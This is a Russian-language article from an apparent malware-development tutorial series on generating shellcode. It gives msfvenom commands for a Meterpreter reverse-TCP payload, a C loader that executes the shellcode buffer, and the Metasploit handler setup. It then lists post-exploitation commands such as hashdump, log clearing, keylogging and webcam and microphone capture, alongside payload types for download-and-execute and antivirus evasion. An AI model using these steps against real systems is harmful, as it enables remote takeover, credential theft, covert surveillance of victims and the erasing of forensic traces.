В цикле статей этого раздела:Введение в разработку вредоносных программ мы все озабочены как скрыть полезную нагрузку, как обойти антивирус и т.д.
Все говорят про какую-то полезную нагрузку, вредоносный код и т.д.
Но никто не сказал, что-это вообще такое, где эту нагрузку можно взять, как её генерировать и т.д.
Давайте попробуем разобраться, вероятно с этого и надо-было начать цикл статей.
Итак:
Что такое сшелл-код?
Сшелл-код (Он-же Payload) – это набор инструкций машинного кода, который может быть выполнен при внедрении в другой процесс. Он часто используется в эксплойтах для получения контроля над системой.
Как его создать, простой метод, для понимания:
Вот неплохая статья для понимания:Малварь как искусство - Генерация кода на си. Часть вторая. Исполняем код на лету
Это всё теория для большего понимания рекомендую ознакомится со статьей:Малварь как искусство - Фреймворк криптора/протектора на шелл-кодах x86/x64
В данной статье рассматривается криптор (Программа для скрытия вирусов), в которой в качестве шелл-кода используется загрузчик PE образов из памяти (LoadPe).
Также шифрует сам вирус и помещает его в секцию .data.
Но есть ещё способ генерации простеньких шелл-кодов:
Создание и использование шеллкода при помощи инструментов, таких как msvenom и Metasploit, довольно популярно среди исследователей безопасности и пентестеров. Давайте рассмотрим, как создать шеллкод и внедрить его в программу на языке С.
Шаг 1: Создание шеллкода с помощью msvenom
msvenom - это инструмент, входящий в состав Metasploit Framework, который позволяет создавать различные виды пейлоадов.
Большинство дистрибутивов Linux позволяют легко установить Metasploit. Пример установки на Kali Linux или Debian:
C:
sudo apt-get update
sudo apt-get install metasploit-framework
После установки и запуска msvenom, вы можете просмотреть доступные опции и параметры:
Код:
msvenom --help
Хотя Metasploit и разработан преимущественно для Linux, есть версия для Windows, но установка может быть менее тривиальной. Рекомендуется использовать виртуальную машину с Linux (например, Kali Linux) на вашем компьютере под Windows для работы с Metasploit.
Итак, допустим, вы хотите создать обратное TCP-соединение (reverse shell) от целевой машины к вашей машине. Вы можете сгенерировать шеллкод следующим образом:
C:
msvenom -p windows/meterpreter/reverse_tcp LHOST=ваш_ип LPORT=4444 -f c
Это создаст C-представление шеллкода, где LHOST - это IP-адрес вашей машины, а LPORT - порт, на который вы хотите, чтобы целевая машина подключилась.
Шаг 2: Внедрение шеллкода в программу на С
После создания шеллкода с помощью msvenom, вам будет предоставлен код на языке C, который вы можете скопировать и использовать в вашей программе:
C:
unsigned char buf[] =
"\x00\x00\x00..."; // здесь будет ваш шеллкод
int main(int argc, char **argv) {
void (*func)();
func = (void (*)()) buf;
func();
return 0;
}
Шаг 3: Ожидание обратного соединения
Запустите Metasploit и используйте подходящий exploit/multi/handler для прослушивания обратного соединения:
C:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST ваш_ип
set LPORT 4444
run
Теперь, когда вы запустите свою программу на Си, она создаст обратное соединение к вашему Metasploit, и вы получите доступ к meterpreter на целевой машине.
После того как целевая машина подключится, вы увидите номер сессии. Вы можете взаимодействовать с этой сессией используя:
Код:
sessions -i номер_сессии
Например:
Код:
sessions -i 1
Теперь вы находитесь в Meterpreter и можете выполнять различные команды.
Meterpreter — это динамический и расширяемый инструмент, который предоставляется Metasploit и позволяет выполнять множество функций на компрометированной машине. Вот некоторые из действий, которые можно выполнять в сессии Meterpreter:
- Сбор информации:
- sysinfo: Получение информации о системе, включая версию ОС, имя хоста и архитектуру.
- getuid: Получение идентификатора текущего пользователя.
- getpid: Получение ID текущего процесса.
- ps: Просмотр списка запущенных процессов.
- ipconfig: Получение информации о сетевых интерфейсах.
- route: Просмотр таблицы маршрутизации.
- Управление файловой системой:
- ls: Просмотр содержимого директории.
- cd: Изменение текущей директории.
- upload и download: Загрузка и скачивание файлов между вашей машиной и целевой системой.
- cat: Чтение содержимого файла.
- edit: Редактирование файла.
- rm: Удаление файла.
- Управление процессами:
- migrate PID: Перемещение Meterpreter в другой процесс (где PID — это ID процесса).
- kill: Убийство процесса.
- Управление сетью:
- portfwd: Настройка переадресации портов.
- netstat: Просмотр активных сетевых соединений.
- Подключение к системе:
- shell: Запуск командной оболочки на целевой системе.
- execute: Запуск команды или программы на целевой системе.
- Привилегии:
- getsystem: Попытка повысить привилегии до SYSTEM.
- hashdump: Выгрузка хэшей паролей из системы.
- clearev: Очистка журналов событий.
- Взаимодействие с экраном и вводом:
- screenshot: Получение скриншота рабочего стола.
- keyscan_start: Начало перехвата клавиатуры.
- keyscan_dump: Выгрузка собранных данных перехвата клавиатуры.
- keyscan_stop: Остановка перехвата клавиатуры.
- Управление аудио и видео:
- webcam_list: Список доступных камер.
- webcam_snap: Снимок с веб-камеры.
- record_mic: Запись звука с микрофона.
- Управление токенами и сессиями:
- use incognito: Загрузка расширения для управления токенами и выполнения действий от имени других пользователей.
- list_tokens -u: Перечисление доступных токенов пользователей.
- Работа с расширениями:
- load <extension_name>: Загрузка дополнительных модулей и расширений.
Чтобы получить полный список доступных команд в Meterpreter, введите help в сессии Meterpreter.
Вот некоторые типы шеллкодов, которые можно создать с помощью msvenom:
- Обратные оболочки (Reverse Shells): Эти пейлоуды устанавливают соединение с атакующим и предоставляют ему оболочку на атакуемой машине. Пример: windows/meterpreter/reverse_tcp.
- Привязанные оболочки (Bind Shells): Эти пейлоуды слушают входящие соединения на целевой машине и предоставляют оболочку, когда атакующий подключается. Пример: windows/meterpreter/bind_tcp.
- Пейлоуды для создания учетных записей: Создают новую учетную запись на целевой системе. Пример: windows/adduser.
- Командные пейлоуды: Выполняют определенную команду на целевой системе. Пример: cmd/unix/reverse_python.
- Пейлоуды для скачивания и выполнения: Скачивают и выполняют файл с определенного URL. Пример: windows/download_exec.
- Пейлоуды для выключения или перезагрузки: Пример: windows/shutdown.
- Metsvc (Meterpreter Service): Создает постоянный сервис Meterpreter на целевой системе.
- Payloads для различных платформ: msvenom поддерживает множество платформ, включая Windows, Linux, macOS, Android, и другие.
- Инъекции в память: Пейлоуды, которые могут быть инжектированы непосредственно в память и выполнены без записи на диск.
- Пейлоуды для обхода антивирусов: Некоторые пейлоуды могут быть созданы так, чтобы обходить определенные антивирусные решения или их характеристики.
- И многие другие...
Код:
msvenom --list payloads
Для создания конкретного шеллкода используйте команду в следующем формате:
Код:
msvenom -p [payload] [options]
Где [payload] - это имя выбранного пейлоуда, а [options] - это различные параметры, такие как IP-адрес, порт, формат вывода и другие параметры, зависящие от выбранного пейлоуда.
Таким образом, msvenom предоставляет гибкие инструменты для создания разнообразных шеллкодов в зависимости от ваших потребностей.